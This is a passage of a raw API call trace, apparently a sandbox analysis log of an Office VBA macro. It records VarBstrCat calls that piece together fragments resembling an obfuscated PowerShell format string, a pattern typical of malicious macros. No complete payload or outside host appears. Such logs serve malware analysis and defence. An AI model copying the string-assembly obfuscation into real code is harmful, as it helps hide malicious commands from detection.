lpSystemTime=0x200ce0 | out: lpSystemTime=0x200ce0*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x360)) [0076.234] VarDateFromUdate (in: pudateIn=0x200d30, dwFlags=0x0, pdateOut=0x200d28 | out: pdateOut=0x200d28) returned 0x0 [0076.234] GetLocalTime (in: lpSystemTime=0x200ce0 | out: lpSystemTime=0x200ce0*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x360)) [0076.234] VarDateFromUdate (in: pudateIn=0x200d30, dwFlags=0x0, pdateOut=0x200d28 | out: pdateOut=0x200d28) returned 0x0 [0076.234] VarBstrCat (in: bstrLeft="uT", bstrRight="i B", pbstrResult=0x200da0 | out: pbstrResult=0x200da0) returned 0x0 [0076.234] GetLocalTime (in: lpSystemTime=0x200ce0 | out: lpSystemTime=0x200ce0*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x360)) [0076.234] VarDateFromUdate (in: pudateIn=0x200d30, dwFlags=0x0, pdateOut=0x200d28 | out: pdateOut=0x200d28) returned 0x0 [0076.235] GetLocalTime (in: lpSystemTime=0x200ce0 | out: lpSystemTime=0x200ce0*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x360)) [0076.235] VarDateFromUdate (in: pudateIn=0x200d30, dwFlags=0x0, pdateOut=0x200d28 | out: pdateOut=0x200d28) returned 0x0 [0076.235] GetLocalTime (in: lpSystemTime=0x200ce0 | out: lpSystemTime=0x200ce0*(wYear=0x7e2, wMonth=0x2, wDayOfWeek=0x2, wDay=0x1b, wHour=0x9, wMinute=0x3, wSecond=0x26, wMilliseconds=0x360)) [0076.235] VarDateFromUdate (in: pudateIn=0x200d30, dwFlags=0x0, pdateOut=0x200d28 | out: pdateOut=0x200d28) returned 0x0 [0076.235] SafeArrayDestroyData (psa=0x5b448a0) returned 0x0 [0076.235] SafeArrayDestroyDescriptor (psa=0x5b448a0) returned 0x0 [0076.235] VarAdd (in: pvarLeft=0xb823c80, pvarRight=0xb823e88, pvarResult=0xb823e68 | out: pvarResult=0xb823e68) returned 0x0 [0076.235] VarAdd (in: pvarLeft=0xb823e68, pvarRight=0xb823c68, pvarResult=0xb823e50 | out: pvarResult=0xb823e50) returned 0x0 [0076.235] VarAdd (in: pvarLeft=0xb823e50, pvarRight=0xb823df0, pvarResult=0xb823dd8 | out: pvarResult=0xb823dd8) returned 0x0 [0076.235] VarAdd (in: pvarLeft=0xb823dd8, pvarRight=0xb823c20, pvarResult=0xb823da0 | out: pvarResult=0xb823da0) returned 0x0 [0076.235] VarAdd (in: pvarLeft=0xb823da0, pvarRight=0xb823c08, pvarResult=0xb823d88 | out: pvarResult=0xb823d88) returned 0x0 [0076.235] VarAdd (in: pvarLeft=0xb823d88, pvarRight=0xb823bf0, pvarResult=0xb823d10 | out: pvarResult=0xb823d10) returned 0x0 [0076.235] VarAdd (in: pvarLeft=0xb823d10, pvarRight=0xb823cf8, pvarResult=0xb823ce0 | out: pvarResult=0xb823ce0) returned 0x0 [0076.235] VarAdd (in: pvarLeft=0xb823ce0, pvarRight=0xb823ba8, pvarResult=0xb823cc8 | out: pvarResult=0xb823cc8) returned 0x0 [0076.235] VarAdd (in: pvarLeft=0xb823cc8, pvarRight=0xb823b90, pvarResult=0xb823b78 | out: pvarResult=0xb823b78) returned 0x0 [0076.236] VarAdd (in: pvarLeft=0xb823b78, pvarRight=0xb823b30, pvarResult=0xb823b18 | out: pvarResult=0xb823b18) returned 0x0 [0076.236] VarAdd (in: pvarLeft=0xb823b18, pvarRight=0xb823b00, pvarResult=0xb823ae8 | out: pvarResult=0xb823ae8) returned 0x0 [0076.236] VarAdd (in: pvarLeft=0xb823ae8, pvarRight=0xb823aa0, pvarResult=0xb823a88 | out: pvarResult=0xb823a88) returned 0x0 [0076.236] VarAdd (in: pvarLeft=0xb823a88, pvarRight=0xb823a70, pvarResult=0xb823a58 | out: pvarResult=0xb823a58) returned 0x0 [0076.236] VarAdd (in: pvarLeft=0xb823a58, pvarRight=0xb823a10, pvarResult=0xb8239f8 | out: pvarResult=0xb8239f8) returned 0x0 [0076.236] VarAdd (in: pvarLeft=0xb8239f8, pvarRight=0xb8239e0, pvarResult=0xb8239c8 | out: pvarResult=0xb8239c8) returned 0x0 [0076.236] VarAdd (in: pvarLeft=0xb8239c8, pvarRight=0xb8239b0, pvarResult=0xb823998 | out: pvarResult=0xb823998) returned 0x0 [0076.236] VarAdd (in: pvarLeft=0xb823998, pvarRight=0xb823980, pvarResult=0xb823968 | out: pvarResult=0xb823968) returned 0x0 [0076.236] VarAdd (in: pvarLeft=0xb823968, pvarRight=0xb823d28, pvarResult=0xb823950 | out: pvarResult=0xb823950) returned 0x0 [0076.238] VarAdd (in: pvarLeft=0xb824258, pvarRight=0xb824240, pvarResult=0xb824228 | out: pvarResult=0xb824228) returned 0x0 [0076.238] _mbscpy_s (in: _Dst=0x66c01b0, _DstSizeInBytes=0x4, _Src=0x5792b42 | out: _Dst=0x66c01b0) returned 0x0 [0076.238] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.238] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.238] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.238] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x1ff2d0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.238] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1ff2d0, pbstrName=0x0, pwOrdinal=0x1ff2f0 | out: pBstrDllName=0x1ff2d0*=0x0, pbstrName=0x0, pwOrdinal=0x1ff2f0*=0xf560) returned 0x0 [0076.238] ITypeInfo:RemoteGetDllEntry (in: This=0xb941878, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1ff2d0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1ff2d0, pwOrdinal=0x500000000) returned 0x0 [0076.238] IMalloc:Free (This=0x7fefe465380, pv=0x666eff0) [0076.238] GetCurrentProcess () returned 0xffffffffffffffff [0076.238] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a29, dwSize=0x8) returned 1 [0076.238] GetCurrentProcess () returned 0xffffffffffffffff [0076.238] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a28, dwSize=0x8) returned 1 [0076.238] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a29, dwSize=0x8) returned 1 [0076.238] GetCurrentProcess () returned 0xffffffffffffffff [0076.238] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a28, dwSize=0x8) returned 1 [0076.238] GetCurrentProcess () returned 0xffffffffffffffff [0076.238] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a38, dwSize=0x2) returned 1 [0076.238] GetCurrentProcess () returned 0xffffffffffffffff [0076.238] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628a8c, dwSize=0x4d) returned 1 [0076.238] VirtualProtect (in: lpAddress=0x6628a8c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.238] GetCurrentProcess () returned 0xffffffffffffffff [0076.238] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf1, dwSize=0x8) returned 1 [0076.238] GetCurrentProcess () returned 0xffffffffffffffff [0076.239] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662abf0, dwSize=0x8) returned 1 [0076.239] GetCurrentProcess () returned 0xffffffffffffffff [0076.239] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ac00, dwSize=0x2) returned 1 [0076.239] GetCurrentProcess () returned 0xffffffffffffffff [0076.239] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ac54, dwSize=0x45) returned 1 [0076.239] VirtualProtect (in: lpAddress=0x662ac54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.239] GetCurrentProcess () returned 0xffffffffffffffff [0076.239] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662acdc, dwSize=0x45) returned 1 [0076.239] VirtualProtect (in: lpAddress=0x662acdc, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.239] GetCurrentProcess () returned 0xffffffffffffffff [0076.239] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad59, dwSize=0x8) returned 1 [0076.239] GetCurrentProcess () returned 0xffffffffffffffff [0076.239] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad58, dwSize=0x8) returned 1 [0076.239] GetCurrentProcess () returned 0xffffffffffffffff [0076.239] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad68, dwSize=0x2) returned 1 [0076.239] GetCurrentProcess () returned 0xffffffffffffffff [0076.239] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a2bc, dwSize=0x4d) returned 1 [0076.239] VirtualProtect (in: lpAddress=0x662a2bc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.239] GetCurrentProcess () returned 0xffffffffffffffff [0076.239] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a341, dwSize=0x8) returned 1 [0076.239] GetCurrentProcess () returned 0xffffffffffffffff [0076.239] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a340, dwSize=0x8) returned 1 [0076.239] GetCurrentProcess () returned 0xffffffffffffffff [0076.239] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a350, dwSize=0x2) returned 1 [0076.239] GetCurrentProcess () returned 0xffffffffffffffff [0076.239] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a3a4, dwSize=0x4d) returned 1 [0076.239] VirtualProtect (in: lpAddress=0x662a3a4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.239] GetCurrentProcess () returned 0xffffffffffffffff [0076.239] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a429, dwSize=0x8) returned 1 [0076.239] GetCurrentProcess () returned 0xffffffffffffffff [0076.239] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a428, dwSize=0x8) returned 1 [0076.239] GetCurrentProcess () returned 0xffffffffffffffff [0076.239] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a438, dwSize=0x2) returned 1 [0076.239] GetCurrentProcess () returned 0xffffffffffffffff [0076.239] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b53c, dwSize=0x4d) returned 1 [0076.239] VirtualProtect (in: lpAddress=0x662b53c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.239] GetCurrentProcess () returned 0xffffffffffffffff [0076.239] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c1, dwSize=0x8) returned 1 [0076.239] GetCurrentProcess () returned 0xffffffffffffffff [0076.239] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c0, dwSize=0x8) returned 1 [0076.239] GetCurrentProcess () returned 0xffffffffffffffff [0076.239] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5d0, dwSize=0x2) returned 1 [0076.239] GetCurrentProcess () returned 0xffffffffffffffff [0076.239] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b624, dwSize=0x4d) returned 1 [0076.239] VirtualProtect (in: lpAddress=0x662b624, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.239] GetCurrentProcess () returned 0xffffffffffffffff [0076.239] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a9, dwSize=0x8) returned 1 [0076.239] GetCurrentProcess () returned 0xffffffffffffffff [0076.239] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a8, dwSize=0x8) returned 1 [0076.240] GetCurrentProcess () returned 0xffffffffffffffff [0076.240] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6b8, dwSize=0x2) returned 1 [0076.240] GetCurrentProcess () returned 0xffffffffffffffff [0076.240] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627dbc, dwSize=0x4d) returned 1 [0076.240] VirtualProtect (in: lpAddress=0x6627dbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.240] GetCurrentProcess () returned 0xffffffffffffffff [0076.240] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e41, dwSize=0x8) returned 1 [0076.240] GetCurrentProcess () returned 0xffffffffffffffff [0076.240] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e40, dwSize=0x8) returned 1 [0076.240] GetCurrentProcess () returned 0xffffffffffffffff [0076.240] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e50, dwSize=0x2) returned 1 [0076.240] GetCurrentProcess () returned 0xffffffffffffffff [0076.240] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627ea4, dwSize=0x4d) returned 1 [0076.240] VirtualProtect (in: lpAddress=0x6627ea4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.240] GetCurrentProcess () returned 0xffffffffffffffff [0076.240] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f29, dwSize=0x8) returned 1 [0076.240] GetCurrentProcess () returned 0xffffffffffffffff [0076.240] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f28, dwSize=0x8) returned 1 [0076.240] GetCurrentProcess () returned 0xffffffffffffffff [0076.240] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f38, dwSize=0x2) returned 1 [0076.240] GetCurrentProcess () returned 0xffffffffffffffff [0076.240] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b78c, dwSize=0x4d) returned 1 [0076.240] VirtualProtect (in: lpAddress=0x662b78c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.240] GetCurrentProcess () returned 0xffffffffffffffff [0076.240] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b811, dwSize=0x8) returned 1 [0076.240] GetCurrentProcess () returned 0xffffffffffffffff [0076.240] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b810, dwSize=0x8) returned 1 [0076.240] GetCurrentProcess () returned 0xffffffffffffffff [0076.240] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b820, dwSize=0x2) returned 1 [0076.240] GetCurrentProcess () returned 0xffffffffffffffff [0076.240] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b874, dwSize=0x4d) returned 1 [0076.240] VirtualProtect (in: lpAddress=0x662b874, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.240] IUnknown:AddRef (This=0xb824728) returned 0x3 [0076.240] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.240] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.240] IUnknown:Release (This=0xb824728) returned 0x2 [0076.240] IUnknown:AddRef (This=0xb824780) returned 0x6 [0076.240] IUnknown:QueryInterface (in: This=0xb824780, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.240] IUnknown:QueryInterface (in: This=0xb824780, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.240] IUnknown:Release (This=0xb824780) returned 0x5 [0076.240] IUnknown:AddRef (This=0xb824678) returned 0x2 [0076.240] IUnknown:QueryInterface (in: This=0xb824678, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.240] IUnknown:QueryInterface (in: This=0xb824678, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.240] IUnknown:Release (This=0xb824678) returned 0x1 [0076.241] IUnknown:AddRef (This=0xb934ce8) returned 0x3 [0076.241] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.241] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.241] IUnknown:Release (This=0xb934ce8) returned 0x2 [0076.241] IUnknown:AddRef (This=0xb95f138) returned 0x3 [0076.241] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.241] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.241] IUnknown:Release (This=0xb95f138) returned 0x2 [0076.241] IUnknown:AddRef (This=0xb9412f8) returned 0x3 [0076.241] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.241] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.241] IUnknown:Release (This=0xb9412f8) returned 0x2 [0076.241] IUnknown:AddRef (This=0xb941878) returned 0x4 [0076.241] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.241] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.241] IUnknown:Release (This=0xb941878) returned 0x3 [0076.241] IUnknown:AddRef (This=0xb941980) returned 0x5 [0076.241] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.241] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.241] IUnknown:Release (This=0xb941980) returned 0x4 [0076.241] IUnknown:AddRef (This=0xb941ae0) returned 0x3 [0076.241] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.241] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.241] IUnknown:Release (This=0xb941ae0) returned 0x2 [0076.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x200d30, cbMultiByte=1, lpWideCharStr=0xb732448, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0076.241] VarAdd (in: pvarLeft=0xb824228, pvarRight=0xb824210, pvarResult=0xb8241f8 | out: pvarResult=0xb8241f8) returned 0x0 [0076.241] VarAdd (in: pvarLeft=0xb8241f8, pvarRight=0xb8241e0, pvarResult=0xb8241c8 | out: pvarResult=0xb8241c8) returned 0x0 [0076.241] VarAdd (in: pvarLeft=0xb8241c8, pvarRight=0xb8241b0, pvarResult=0xb824198 | out: pvarResult=0xb824198) returned 0x0 [0076.241] VarAdd (in: pvarLeft=0xb824198, pvarRight=0xb824180, pvarResult=0xb824168 | out: pvarResult=0xb824168) returned 0x0 [0076.241] VarAdd (in: pvarLeft=0xb824168, pvarRight=0xb824150, pvarResult=0xb824138 | out: pvarResult=0xb824138) returned 0x0 [0076.241] VarAdd (in: pvarLeft=0xb824138, pvarRight=0xb824120, pvarResult=0xb824108 | out: pvarResult=0xb824108) returned 0x0 [0076.241] VarAdd (in: pvarLeft=0xb824108, pvarRight=0xb8240f0, pvarResult=0xb8240d8 | out: pvarResult=0xb8240d8) returned 0x0 [0076.241] VarAdd (in: pvarLeft=0xb8240d8, pvarRight=0xb8240c0, pvarResult=0xb8240a8 | out: pvarResult=0xb8240a8) returned 0x0 [0076.241] VarAdd (in: pvarLeft=0xb8240a8, pvarRight=0xb824090, pvarResult=0xb824078 | out: pvarResult=0xb824078) returned 0x0 [0076.241] VarAdd (in: pvarLeft=0xb824078, pvarRight=0xb824060, pvarResult=0xb824048 | out: pvarResult=0xb824048) returned 0x0 [0076.241] VarAdd (in: pvarLeft=0xb824048, pvarRight=0xb824030, pvarResult=0xb824018 | out: pvarResult=0xb824018) returned 0x0 [0076.241] VarAdd (in: pvarLeft=0xb824018, pvarRight=0xb824000, pvarResult=0xb823fe8 | out: pvarResult=0xb823fe8) returned 0x0 [0076.242] VarBstrCat (in: bstrLeft="1}{3}", bstrRight="{5}{", pbstrResult=0x200f00 | out: pbstrResult=0x200f00) returned 0x0 [0076.242] VarBstrCat (in: bstrLeft="1}{3}{5}{", bstrRight="0}{2}{4}\\\" -f'", pbstrResult=0x200f00 | out: pbstrResult=0x200f00) returned 0x0 [0076.242] VarBstrCat (in: bstrLeft="1}{3}{5}{0}{2}{4}\\\" -f'", bstrRight="t',", pbstrResult=0x200f00 | out: pbstrResult=0x200f00) returned 0x0 [0076.242] VarAdd (in: pvarLeft=0xb824288, pvarRight=0xb823fb8, pvarResult=0xb824258 | out: pvarResult=0xb824258) returned 0x0 [0076.242] VarAdd (in: pvarLeft=0xb824258, pvarRight=0xb824270, pvarResult=0xb824240 | out: pvarResult=0xb824240) returned 0x0 [0076.242] VarAdd (in: pvarLeft=0xb824240, pvarRight=0xb8241e0, pvarResult=0xb824228 | out: pvarResult=0xb824228) returned 0x0 [0076.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d100ce, cbMultiByte=6, lpWideCharStr=0x1ff470, cchWideChar=7 | out: lpWideCharStr="vegas") returned 6 [0076.242] ITypeComp:RemoteBind (in: This=0x679bb90, szName="vegas", lHashVal=0x104508, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d100ce, cbMultiByte=6, lpWideCharStr=0x1ff470, cchWideChar=7 | out: lpWideCharStr="vegas") returned 6 [0076.242] ITypeComp:RemoteBind (in: This=0x5a48630, szName="vegas", lHashVal=0x104508, 